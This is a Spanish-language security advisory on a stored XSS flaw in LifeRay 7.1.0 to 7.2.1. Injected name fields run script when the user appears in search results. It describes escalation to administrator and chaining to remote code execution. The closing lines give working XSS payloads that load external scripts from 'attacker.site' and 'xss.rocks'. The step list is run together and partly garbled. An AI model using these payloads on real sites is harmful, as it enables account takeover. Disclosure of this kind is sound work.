
XSS Almacenado Autenticado en LifeRay 7.2.0 GA1 a través de MyAccountPortlet ejecutado por Search Results
En LifeRay versión 7.1.0 hasta 7.2.1 GA2, los campos de Nombre, Segundo Nombre y Apellido para cuentas de usuario son vulnerables a un problema de XSS Almacenado. Cualquier usuario puede modificar estos campos con una carga útil XSS particular y se almacenará en la base de datos "infectando" al usuario. La carga útil se renderizará cuando un usuario utilice la función de búsqueda para buscar otros usuarios. Si el usuario infectado se muestra como resultado de búsqueda, la carga útil XSS se ejecutará.
Esta vulnerabilidad permite a un atacante ejecutar código arbitrario en el contexto de cualquier usuario que active la carga útil XSS a través de la búsqueda. En un sentido práctico, esto puede llevar a una escalada de privilegios de un usuario no privilegiado a un usuario administrador, así como a un movimiento lateral al tomar el control de otras cuentas. Además, todo lo que se pueda ejecutar mediante JavaScript puede ser explotado en el contexto de otro usuario.
Como se verá en la Prueba de Concepto (PoC), esto está completamente abierto ya que el atacante tiene la capacidad de cargar scripts externos con facilidad en un contexto predeterminado.
La mayoría de las cookies de sesión importantes están marcadas como HTTPOnly, lo que previene principalmente técnicas simples de secuestro de sesión. Dicho esto, cabe señalar que los usuarios que ven la página con navegadores antiguos se ven aún más afectados por esto gracias a los ataques XST.
Dado que los usuarios administradores pueden ejecutar comandos de Gogo Shell y Groovy Script, también es posible encadenar este exploit junto con estas funciones normalmente previstas para obtener RCE no intencionado en el sistema anfitrión, comenzando desde un usuario no privilegiado.
Para que esta vulnerabilidad se active, deben cumplirse dos condiciones:
Una vez que se cumplen esas condiciones, se pueden observar los siguientes pasos para explotar la vulnerabilidad:
Configuración de la Cuenta
Configuración de la Cuentahttp://mysite.com/user/hacker/manage?p_p_id=com_liferay_my_account_web_portlet_MyAccountPortlet&p_p_lifecycle=0&p_p_auth=??????Guardarhttp://mysite.com/user/hacker/home/-/my_sites/sites/available-sites?_com_liferay_site_my_sites_web_portlet_MySitesPortlet_displayStyle=descriptive y haga clic en el icono de "tres puntos" en el lado derecho y seleccione unirse.http://mysite.com/web/guest/search?q=<mi usuario>
<<SCRIPT>alert("XSS");//<</SCRIPT><SCRIPT SRC="//attacker.site/payload.js"><SCRIPT SRC="//xss.rocks/xss.js"/>Versión del informe 4.0